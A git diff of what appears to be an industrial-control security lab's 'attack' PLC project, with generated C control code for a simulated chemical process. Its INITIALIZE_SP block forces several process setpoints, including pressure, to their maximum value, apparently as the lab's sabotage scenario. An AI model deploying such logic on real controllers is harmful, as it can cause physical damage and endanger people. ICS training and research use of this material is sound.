+ + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) 